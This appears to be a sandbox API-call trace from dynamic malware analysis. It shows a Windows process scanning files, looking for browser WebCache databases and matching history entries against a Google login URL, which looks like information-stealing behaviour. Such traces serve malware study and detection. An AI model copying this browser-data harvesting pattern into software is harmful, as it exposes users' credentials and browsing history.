	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.038] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.038] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80
	[0099.038] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80
	[0099.039] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.039] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.039] CloseHandle (hObject=0xc4) returned 1
	[0099.039] FindNextFileW (in: hFindFile=0x612a48, lpFindFileData=0x188950 | out: lpFindFileData=0x188950) returned 0
	[0099.039] FindClose (in: hFindFile=0x612a48 | out: hFindFile=0x612a48) returned 1
	[0099.040] FindNextFileW (in: hFindFile=0x60f818, lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 0
	[0099.040] FindClose (in: hFindFile=0x60f818 | out: hFindFile=0x60f818) returned 1
	[0099.040] FindNextFileW (in: hFindFile=0x60f7d8, lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 0
	[0099.040] FindClose (in: hFindFile=0x60f7d8 | out: hFindFile=0x60f7d8) returned 1
	[0099.040] FindNextFileW (in: hFindFile=0x60f798, lpFindFileData=0x18a744 | out: lpFindFileData=0x18a744) returned 0
	[0099.040] FindClose (in: hFindFile=0x60f798 | out: hFindFile=0x60f798) returned 1
	[0099.040] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18aa84, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1
	[0099.041] wcslen (_String="Microsoft\\Windows\\WebCache\\WebCacheV01.dat") returned 0x2a
	[0099.041] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0099.041] wcscpy (in: _Dest=0x18ac94, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local"
	[0099.041] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0099.041] wcscat (in: _Dest=0x18ac94, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\"
	[0099.041] wcscat (in: _Dest=0x18ac94, _Source="Microsoft\\Windows\\WebCache\\WebCacheV01.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat"
	[0099.041] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")) returned 0xffffffff
	[0099.041] wcslen (_String="Microsoft\\Windows\\WebCache\\WebCacheV24.dat") returned 0x2a
	[0099.041] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0099.041] wcscpy (in: _Dest=0x18ac94, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local"
	[0099.041] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0099.041] wcscat (in: _Dest=0x18ac94, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\"
	[0099.041] wcscat (in: _Dest=0x18ac94, _Source="Microsoft\\Windows\\WebCache\\WebCacheV24.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat"
	[0099.041] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV24.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\webcache\\webcachev24.dat")) returned 0xffffffff
	[0099.041] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: www.google.de") returned 1
	[0099.041] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: www.msn.com") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://google.com") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://www.google.de/") returned -1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.google.de/") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.msn.com/de-de/") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/products/internet-explorer") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://go.microsoft.com/fwlink/") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="https://support.microsoft.com/internet-explorer") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="http://www.msn.com/") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2=":host: computer") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned 1
	[0099.042] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 1
	[0099.043] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 1
